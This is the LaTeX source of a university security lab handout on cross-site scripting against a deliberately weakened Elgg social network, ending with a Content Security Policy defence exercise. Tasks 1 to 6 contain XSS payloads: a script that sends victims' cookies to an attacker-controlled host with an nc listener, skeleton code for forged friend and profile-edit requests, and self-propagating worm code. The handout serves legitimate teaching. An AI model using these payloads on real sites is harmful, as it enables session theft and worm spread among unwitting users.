%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  Copyright by Wenliang Du.                                       %%
%%  This work is licensed under the Creative Commons                %%
%%  Attribution-NonCommercial-ShareAlike 4.0 International License. %%
%%  To view a copy of this license, visit                           %%
%%  http://creativecommons.org/licenses/by-nc-sa/4.0/.              %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\commonfolder}{../../common-files}
\newcommand{\webcommon}{../Web_Common}

\input{\commonfolder/header}
\input{\commonfolder/copyright}



\lhead{\bfseries SEED Labs -- Cross-Site Scripting Attack Lab}

\begin{document}

\begin{center}
{\LARGE Cross-Site Scripting (XSS) Attack Lab}
\vspace{0.1in}\\
{\Large (Web Application: Elgg)}
\end{center}

\seedlabcopyright{2006 - 2020}

\section{Overview}

Cross-site scripting (XSS) is a type of vulnerability commonly found
in web applications.  This vulnerability makes it possible for
attackers to inject malicious code (e.g. JavaScript programs) into victim's
web browser. Using this malicious code, attackers can steal a
victim's credentials, such as session cookies.  The access control 
policies~(i.e., the same origin policy) employed by browsers to protect
those credentials can be bypassed by exploiting XSS vulnerabilities.

To demonstrate what attackers can do by exploiting XSS
vulnerabilities, we have set up a web application named 
{\tt Elgg} in our pre-built Ubuntu VM image.
{\tt Elgg} is a very popular open-source web application for
social network, and it has implemented a number of countermeasures 
to remedy the XSS threat. To demonstrate how XSS attacks work, we 
have commented out these countermeasures in Elgg in our installation, 
intentionally making Elgg vulnerable to XSS attacks.  
Without the countermeasures, users 
can post any arbitrary message, including JavaScript
programs, to the user profiles.  

In this lab, students need to exploit this vulnerability to 
launch an XSS attack on the modified {\tt Elgg}, in a way that is 
similar to what Samy Kamkar
did to {\tt MySpace} in 2005 through the notorious Samy worm. 
The ultimate goal of this attack is to spread an XSS worm among the users,
such that whoever views an infected user profile will be infected,
and whoever is infected will add you (i.e., the attacker) to 
his/her friend list. This lab covers the following topics:

\begin{itemize}[noitemsep]
 \item Cross-Site Scripting attack
 \item XSS worm and self-propagation 
 \item Session cookies
 \item HTTP GET and POST requests
 \item JavaScript and Ajax
 \item Content Security Policy (CSP) 
\end{itemize}


\paragraph{Readings.}
Detailed coverage of the Cross-Site Scripting attack can be found in the following:

\begin{itemize}
\item Chapter 10 of the SEED Book, \seedbook
\end{itemize}


\paragraph{Lab environment.} 
\seedenvironmentB  
\nodependency


% *******************************************
% SECTION
% ******************************************* 
\section{Lab Environment Setup}


% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{DNS Setup} 

We have set up several websites for this lab. They are hosted 
by the container \texttt{10.9.0.5}. We need to map 
the names of the web server to this IP address. 
Please add the following entries to \texttt{/etc/hosts}.
You need to use the root privilege to modify this file:

\begin{lstlisting}
10.9.0.5        www.seed-server.com
10.9.0.5        www.example32a.com
10.9.0.5        www.example32b.com
10.9.0.5        www.example32c.com
10.9.0.5        www.example60.com
10.9.0.5        www.example70.com
\end{lstlisting}
 

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{Container Setup and Commands}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/container/setup}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%



% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{Elgg Web Application}

We use an open-source web application called {\tt Elgg} in this lab.
{\tt Elgg} is a web-based social-networking application.
It is already set up in the provided container images; 
its URL is \url{http://www.seed-server.com}.
We use two containers, one running the web server (\texttt{10.9.0.5}) ,
and the other running the MySQL database (\texttt{10.9.0.6}). 
The IP addresses for these two containers are hardcoded in various 
places in the configuration, so please do not change them from
the \texttt{docker-compose.yml} file. 


% MySQL database
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\webcommon/mysql}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\webcommon/elgg_accounts}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


% *******************************************
% SECTION
% ******************************************* 
\section{Lab Tasks}

When you copy and paste code from this PDF file, very often, the 
quotation marks, especially single quote, may turn into 
a different symbol that looks similar. They will cause 
errors in the code, so keep that in mind. When that happens,
delete them, and manually type those symbols.



% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{Preparation: Getting Familiar with the \texttt{"HTTP Header Live"} tool}

In this lab, we need to construct HTTP requests. To figure out 
what an acceptable HTTP request in Elgg looks like, we need to 
be able to capture and analyze HTTP requests. 
We can use a Firefox add-on called \texttt{"HTTP Header Live"} for this
purpose. Before you start working on this lab, you should 
get familiar with this tool.
Instructions on how to use this tool is given in the Guideline
section~(\S~\ref{web:sec:httpheaderlive}).



% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{Task 1: Posting a Malicious Message to Display an Alert Window}

The objective of this task is to embed a JavaScript program in your 
{\tt Elgg} profile, such that when another user views your profile, 
the JavaScript program will be executed and an alert window
will be displayed. The following JavaScript program will display an alert window: 
\begin{lstlisting}
<script>alert('XSS');</script> 
\end{lstlisting}
If you embed the above JavaScript code in your profile (e.g. in the brief
description field), then any user who views your profile will see the alert window. 

In this case, the JavaScript code is short enough to be typed into the 
short description field. If you want to run a long JavaScript, but you are limited
by the number of characters you can type in the form, you can store the 
JavaScript program in a standalone file, save it with the .js extension, and 
then refer to it using the {\tt src} attribute in the {\tt <script>} tag. 
See the following example:
\begin{lstlisting}
<script type="text/javascript" 
        src="http://www.example.com/myscripts.js">
</script>
\end{lstlisting}
In the above example, the page will fetch the JavaScript program from
\url{http://www.example.com}, which can be any web server.



% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{Task 2: Posting a Malicious Message to Display Cookies}

The objective of this task is to embed a JavaScript program in your 
{\tt Elgg} profile, such that when another user views your profile,
the user's cookies will be displayed in the alert window.
This can be done by adding some additional code to
the JavaScript program in the previous task:
\begin{lstlisting}
<script>alert(document.cookie);</script> 
\end{lstlisting}



% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{Task 3: Stealing Cookies from the Victim's Machine}

In the previous task, the malicious JavaScript code written by 
the attacker can print out the
user's cookies, but only the user can see the cookies, not the 
attacker.  In this task, the attacker wants the JavaScript code 
to send the cookies to himself/herself.
To achieve this, the malicious JavaScript code needs to 
send an HTTP request to the attacker, with the cookies appended to 
the request.

We can do this by having the malicious JavaScript insert an {\tt $<$img$>$} tag with
its {\tt src} attribute set to the attacker's machine.  When the JavaScript inserts
the {\tt img} tag, the browser tries to load the image from the URL in
the {\tt src} field; this results in an HTTP GET request sent to the attacker's
machine. The
JavaScript given below sends the cookies to the port 5555 of the
attacker's machine (with IP address {\tt 10.9.0.1}), where the attacker has a TCP server
listening to the same port.  

\begin{lstlisting}
<script>document.write('<img src=http://10.9.0.1:5555?c=' 
                       + escape(document.cookie) + '   >'); 
</script> 
\end{lstlisting}


A commonly used program by attackers is \texttt{netcat} (or \texttt{nc}) , which, if running with
the \texttt{"-l"} option, becomes a TCP server that listens for a connection on the specified
port. This server program basically prints out whatever is sent by the client and sends to the
client whatever is typed by the user running the server. Type the command below to listen on
port \texttt{5555}:

\begin{lstlisting}
$ nc -lknv 5555 
\end{lstlisting}

\noindent The \texttt{-l} option is used to specify that nc should listen for an incoming
connection rather than initiate a connection to a remote host. The \texttt{-nv} option is used to
have \texttt{nc} give more verbose output. The \texttt{-k} option means when a connection
is completed, listen for another one.


% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{Task 4: Becoming the Victim's Friend}

In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005
(i.e. the Samy Worm). We will write an XSS worm that adds Samy as a friend to any other user
that visits Samy's page. This worm does not self-propagate; in  task 6, we will make it
self-propagating.

In this task, we need to write a malicious JavaScript program that forges HTTP requests
directly from the victim's browser, without the intervention of the attacker.  The objective of
the attack is to add Samy as a friend to the victim. We have already created a user called Samy
on the {\tt Elgg} server (the user name is {\tt samy}).


To add a friend for the victim, we should first find out how a legitimate 
user adds a friend in {\tt Elgg}.
More specifically, we need to figure out what are sent to the server when a user 
adds a friend. Firefox's \texttt{HTTP} inspection tool 
can help us get the information. It can display the contents of any HTTP request message sent 
from the browser.  From the contents, we can identify all
the parameters in the request. Section~\ref{xss:sec:guidelines}
provides guidelines on how to use the tool.


Once we understand what the add-friend HTTP request look like, 
we can write a JavaScript program to send out the same HTTP request. We provide a skeleton
JavaScript code that aids in completing the task.

\begin{lstlisting}
<script type="text/javascript">
window.onload = function () {
  var Ajax=null;

  var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;          (*@ \ding{192} @*)
  var token="&__elgg_token="+elgg.security.token.__elgg_token; (*@ \ding{193} @*)

  //Construct the HTTP request to add Samy as a friend.
  var sendurl=...;  //FILL IN

  //Create and send Ajax request to add friend
  Ajax=new XMLHttpRequest();
  Ajax.open("GET", sendurl, true);
  Ajax.send();
} 
</script>
\end{lstlisting}


The above code should be placed in the \texttt{"About Me"} field of Samy's profile page. 
This field provides two editing modes: Editor mode (default) and Text mode. 
The Editor mode adds extra HTML code to the text typed into the field, while
the Text mode does not. Since we do not
want any extra code added to our attacking code, the Text mode should be enabled before entering
the above JavaScript code. This can be done by clicking on 
\texttt{"Edit HTML"}, which can be found at the top right
of the \texttt{"About Me"} text field.


\paragraph{Questions.} Please answer the following questions:

\begin{itemize}
\item \textbf{Question 1:} Explain the purpose of Lines \ding{192} and \ding{193}, why 
are they are needed?

\item \textbf{Question 2:} If the \texttt{Elgg} application only provide 
the Editor mode for the \texttt{"About Me"} field, i.e., you cannot 
switch to the Text mode, can you still launch a successful attack? 
\end{itemize}
 



% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{Task 5: Modifying the Victim's Profile}


The objective of this task is to modify the victim's profile when the victim visits Samy's
page.  Specifically, modify the victim's \texttt{"About Me"} field. We will write an XSS worm
to complete the task. This worm does not self-propagate; in task 6, we will make it self-propagating.

Similar to the previous task, we need to write a malicious JavaScript program that forges HTTP
requests directly from the victim's browser, without the intervention of the attacker.  
To modify profile, we should first find out how a legitimate 
user edits or modifies his/her profile in {\tt Elgg}. More specifically, we need to figure out
how the HTTP POST request is constructed to modify a user's profile.  
We will use Firefox's {\tt HTTP} inspection tool. Once we understand 
how the modify-profile HTTP POST request looks like, we can
write a JavaScript program to send out the same HTTP request. We provide a skeleton JavaScript
code that aids in completing the task.

\begin{lstlisting}
<script type="text/javascript">
window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts 
  //and Security Token __elgg_token
  var userName="&name="+elgg.session.user.name;
  var guid="&guid="+elgg.session.user.guid;
  var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
  var token="&__elgg_token="+elgg.security.token.__elgg_token;

  //Construct the content of your url.
  var content=...;     //FILL IN

  var samyGuid=...;    //FILL IN
  
  var sendurl=...;     //FILL IN
  
  if(elgg.session.user.guid!=samyGuid)           (*@ \ding{192} @*)
  {
     //Create and send Ajax request to modify profile
     var Ajax=null;
     Ajax=new XMLHttpRequest();
     Ajax.open("POST", sendurl, true);
     Ajax.setRequestHeader("Content-Type",
                           "application/x-www-form-urlencoded");
     Ajax.send(content);
  }
}
</script>
\end{lstlisting}

Similar to Task 4, the above code should be placed in the \texttt{"About Me"} field of Samy's
profile page, and the Text mode should be enabled before entering the above JavaScript code.


\paragraph{Questions.} Please answer the following questions:

\begin{itemize}
\item \textbf{Question 3:} Why do we need Line \ding{192}? Remove this line, and repeat 
your attack. Report and explain your observation.
\end{itemize}
 



% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{Task 6: Writing a Self-Propagating XSS Worm}

To become a real worm, the malicious JavaScript program should be able to propagate itself.
Namely, whenever some people view an infected profile, 
not only will their profiles be modified, the worm will also be 
propagated to their profiles, further affecting others who view these newly infected profiles.
This way, the more people view the infected profiles, the faster the worm can propagate. 
This is exactly the same mechanism used by the Samy Worm: 
within just 20 hours of its October 4, 2005 release, over one million users 
were affected, making Samy one of the fastest spreading viruses of all time.
The JavaScript code that can achieve this is called 
a {\em self-propagating cross-site scripting worm}. In this task, you need to 
implement such a worm, which not only modifies the victim's profile and adds the user
``Samy'' as a friend, but also add a copy of the worm itself to the victim's profile, so the
victim is turned into an attacker.


To achieve self-propagation, when the malicious JavaScript modifies the victim's profile,
it should copy itself to the victim's profile. There are several 
approaches to achieve this, and we will discuss two common approaches.

\paragraph{Link Approach:} If the worm is included using the {\tt src} attribute in the {\tt <script>} tag,
writing self-propagating worms is much easier. 
We have discussed the {\tt src} attribute in Task 1, and an example
is given below. The worm can simply copy the following
{\tt <script>} tag to the victim's profile, essentially
infecting the profile with the same worm.

\begin{lstlisting}
<script type="text/javascript" src="http://www.example.com/xss_worm.js">
</script>
\end{lstlisting} 

\paragraph{DOM Approach:} If the entire JavaScript program (i.e., the worm) is 
    embedded in the infected profile, 
    to propagate the worm to another profile, the worm code can use
    DOM APIs to retrieve a copy of itself from the web page.
    An example of using DOM APIs is given below. This code
    gets a copy of itself, and displays it in an alert window:

{\footnotesize
\begin{lstlisting}
<script id="worm">
   var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; (*@ \ding{192} @*)
   var jsCode = document.getElementById("worm").innerHTML;          (*@ \ding{193} @*)
   var tailTag = "</" + "script>";                                  (*@ \ding{194} @*)
   
   var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); (*@ \ding{195} @*)
      
   alert(jsCode);
</script>
\end{lstlisting}
}


It should be noted that {\tt innerHTML} (line \ding{193}) only gives us the inside part of the
code, not including the surrounding {\tt script} tags. We just need to add the beginning tag
{\tt <script id="worm">} (line \ding{192}) and the ending tag {\tt </script>} (line \ding{194})
to form an identical copy of the malicious code.

When data are sent in HTTP POST requests with the {\tt Content-Type} set to {\tt
application/x-www-\\form-urlencoded}, which is the type used in our code, the data should also
be encoded. The encoding scheme is called \textit{URL encoding}, which replaces
non-alphanumeric characters in the data with {\tt \%HH}, a percentage sign and two hexadecimal
digits representing the ASCII code of the character. The {\tt encodeURICom\\ponent()} function
in line \ding{195} is used to URL-encode a string.

\paragraph{Note:} In this lab, you can try both Link and DOM approaches, but the DOM approach
is required, because it is more challenging and it does not rely on external JavaScript code.




% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{Elgg's Countermeasures}


This sub-section is only for information, and there is no specific task to do. 
It shows how Elgg defends against the XSS attack. 
Elgg does have built-in countermeasures, and
we have disabled them to make the
attack work. Actually, Elgg uses two countermeasures. 
One is a custom built security plugin \texttt{HTMLawed}, 
which validates the user input and removes the tags from the input.
We have commented out the invocation of the plugin
inside the \texttt{filter\_tags()} function 
in \texttt{input.php}, which is located inside 
\path{vendor/elgg/elgg/engine/lib/}. See the following:

\begin{lstlisting}
function filter_tags($var) {
   // return elgg_trigger_plugin_hook('validate', 'input', null, $var);
   return $var;
}
\end{lstlisting}
 

In addition to {\tt HTMLawed}, Elgg also uses PHP's built-in
method \texttt{htmlspecialchars()} to
encode the special characters in
user input, such as encoding {\tt "<"} to {\tt "\&lt"}, {\tt ">"} to {\tt "\&gt"}, etc.
This method is invoked in \texttt{dropdown.php}, \texttt{text.php}, 
and \texttt{url.php} inside 
the \path{vendor/elgg/elgg/views/default/output/} folder. 
We have commented them out to turn off the countermeasure. 


% *******************************************
% SECTION
% *******************************************
\section{Task 7: Defeating XSS Attacks Using CSP}

The fundamental problem of the XSS vulnerability is that HTML allows JavaScript code to be
mixed with data. Therefore, to fix this fundamental problem, we need to separate code from
data. There are two ways to include JavaScript code inside an HTML page, one is
the inline approach, and the other is the link approach.
The inline approach directly places code inside the page, while the
link approach puts the code in an external file, and then link to it
from inside the page.

The inline approach is the culprit of the XSS vulnerability, because
browsers do not know where the code originally comes from: is it from the trusted
web server or from untrusted users? Without such knowledge, browsers
do not know which code is safe to execute, and
which one is dangerous.
The link approach provides a very important piece of information to
browsers, i.e., where
the code comes from. Websites can then tell browsers which sources are
trustworthy, so browsers know which piece of code is safe to execute.
Although attackers can also use the link approach to
include code in their input, they cannot place their code in
those trustworthy places.

How websites tell browsers which code source is trustworthy is achieved
using a security mechanism called Content Security Policy (CSP). This
mechanism is specifically designed to defeat XSS and ClickJacking attacks.
It has become a standard, which is supported by most browsers nowadays.
CSP not only restricts JavaScript code, it also restricts other page contents, such as
limiting where pictures, audio, and video can come from, as well as restricting
whether a page can be put inside an iframe or not (used for defeating ClickJacking
attacks). Here, we will only focus on how to use CSP to defeat XSS attacks.



% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{Experiment Website setup} 

To conduct experiments on CSP, we will set up several websites. 
Inside the \texttt{Labsetup/image\_www} docker image folder, 
there is a file called \texttt{apache\_csp.conf}.
It defines five websites, which share the same folder, but
they will use different files in this folder. 
The \texttt{example60} and \texttt{example70} sites are 
used for hosting JavaScript code.  The 
\texttt{example32a}, \texttt{example32b}, and 
\texttt{example32c} are the three websites that 
have different CSP configurations. Details of the configuration 
will be explained later.


\paragraph{Changing the configuration file.}
In the experiment, you need to modify this Apache 
configuration file (\texttt{apache\_csp.conf}). If you make a modification
directly on the file inside the image folder, you need to rebuild the image
and restart the container, so the change can take effect. 

You can also modify the file while the container is running. 
The downside of this 
option is that in order to keep the docker image small, 
we have only installed a very simple text editor called \texttt{nano} 
inside the container. It should be sufficient for simple editing.   
If you do not like it, you can always add an installation command
to the \texttt{Dockerfile} to install your favorite command-line
text editor. 
On the running container, you can find the configuration
file \texttt{apache\_csp.conf} inside the 
\path{/etc/apache2/sites-available} folder.  
After making changes, you need to restart the Apache server for the 
changes to take effect:

\begin{lstlisting}
# service apache2 restart
\end{lstlisting}


\paragraph{DNS Setup.}
We will access the above websites from our VM. 
To access them through their respective URLs, 
we need to add the following entries to the 
\texttt{/etc/hosts} file (if you have not done so already
at the beginning of the lab), so these hostnames are mapped to 
the IP address of the server container (\texttt{10.9.0.5}). 
You need to use the root privilege to 
change this file (using \texttt{sudo}).

\begin{lstlisting}
10.9.0.5       www.example32a.com
10.9.0.5       www.example32b.com
10.9.0.5       www.example32c.com
10.9.0.5       www.example60.com
10.9.0.5       www.example70.com
\end{lstlisting}


% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{The web page for the experiment}

The \texttt{example32(a|b|c)} servers host 
the same web page \texttt{index.html}, which 
is used to demonstrate how the CSP policies work. 
In this page, there are six areas, \texttt{area1} to \texttt{area6}.
Initially, each area displays \texttt{"Failed"}. The page
also includes six pieces of JavaScript code, each trying to
write \texttt{"OK"} to its corresponding area.  If we can see
\texttt{OK} in an area, that means, the JavaScript code corresponding
to that area has been executed successfully; otherwise, we would see
\texttt{Failed}. There is also a button on this page. 
If it is clicked, a message will pop up, if the underlying 
JavaScript code gets triggered. 


\begin{lstlisting}[caption={The experiment web page \texttt{index.html}}]
<html>
<h2 >CSP Experiment</h2>
<p>1. Inline: Nonce (111-111-111): <span id='area1'>Failed</span></p>
<p>2. Inline: Nonce (222-222-222): <span id='area2'>Failed</span></p>
<p>3. Inline: No Nonce: <span id='area3'>Failed</span></p>
<p>4. From self: <span id='area4'>Failed</span></p>
<p>5. From www.example60.com: <span id='area5'>Failed</span></p>
<p>6. From www.example70.com: <span id='area6'>Failed</span></p>
<p>7. From button click: 
      <button onclick="alert('JS Code executed!')">Click me</button></p>

<script type="text/javascript" nonce="111-111-111">
document.getElementById('area1').innerHTML = "OK";
</script>

<script type="text/javascript" nonce="222-222-222">
document.getElementById('area2').innerHTML = "OK";
</script>

<script type="text/javascript">
document.getElementById('area3').innerHTML = "OK";
</script>

<script src="script_area4.js"> </script>
<script src="http://www.example60.com/script_area5.js"> </script>
<script src="http://www.example70.com/script_area6.js"> </script>
</html>

\end{lstlisting}
 


% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{Setting CSP Policies}  

CSP is set by the web server as 
an HTTP header. There are two typical ways to set the header, 
by the web server (such as Apache) or by the web application. 
In this experiment, we will conduct experiments using 
both approaches. 

\paragraph{CSP configuration by Apache.}
Apache can set HTTP headers for all the responses, so we can
use Apache to set CSP policies. In our configuration, 
we set up three websites, but only the second one sets 
CSP policies (the lines marked by \ding{110}). 
With this setup, when we visit \texttt{example32b}, 
Apache will add the specified CSP header to all 
the response from this site. 


\begin{lstlisting}
# Purpose: Do not set CSP policies
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32a.com
    DirectoryIndex index.html
</VirtualHost>

# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \          (*@\ding{110}@*)
             default-src 'self'; \                  (*@\ding{110}@*)
             script-src 'self' *.example70.com \    (*@\ding{110}@*)
           "
</VirtualHost>

# Purpose: Setting CSP policies in web applications
<VirtualHost *:80>                                  (*@\ding{108}@*)
    DocumentRoot /var/www/csp
    ServerName www.example32c.com
    DirectoryIndex phpindex.php
</VirtualHost>
\end{lstlisting}
 

\paragraph{CSP configuration by web applications.}
For the third \texttt{VirtualHost} entry in our configuration
file (marked by \ding{108}), we did not set up any CSP policy.
However, instead of accessing \texttt{index.html}, the 
entry point of this site is \texttt{phpindex.php}, which
is a PHP program. This program, listed below, adds 
a CSP header to the response generated from the program. 

\begin{lstlisting}
<?php
  $cspheader = "Content-Security-Policy:".
               "default-src 'self';".
               "script-src 'self' 'nonce-111-111-111' *.example70.com".
               "";
  header($cspheader);
?>

<?php include 'index.html';?>
\end{lstlisting}



% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{Lab tasks} 


After starting the containers and making changes to the \texttt{/etc/hosts}, please visit
the following URLs from your VM. 

\begin{lstlisting}
http://www.example32a.com
http://www.example32b.com
http://www.example32c.com
\end{lstlisting}

\begin{enumerate}

\item Describe and explain your observations when you visit these websites.

\item Click the button in the web pages from all the three websites, describe and 
explain your observations. 

\item Change the server configuration on \texttt{example32b} (modify the Apache 
configuration), so Areas 5 and 6 display OK. 
Please include your modified configuration in the lab report.

\item Change the server configuration on \texttt{example32c} (modify the PHP code), so 
Areas 1, 2, 4, 5, and 6 all display \texttt{OK}. 
Please include your modified configuration in the lab report.

\item Please explain why CSP can help prevent Cross-Site Scripting attacks. 

\end{enumerate}
 




% *******************************************
% SECTION
% ******************************************* 
\section{Guidelines}
\label{xss:sec:guidelines}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\webcommon/Web_Dev_Tools}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%



% *******************************************
% SECTION
% ******************************************* 
\section{Submission}


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


\end{document}
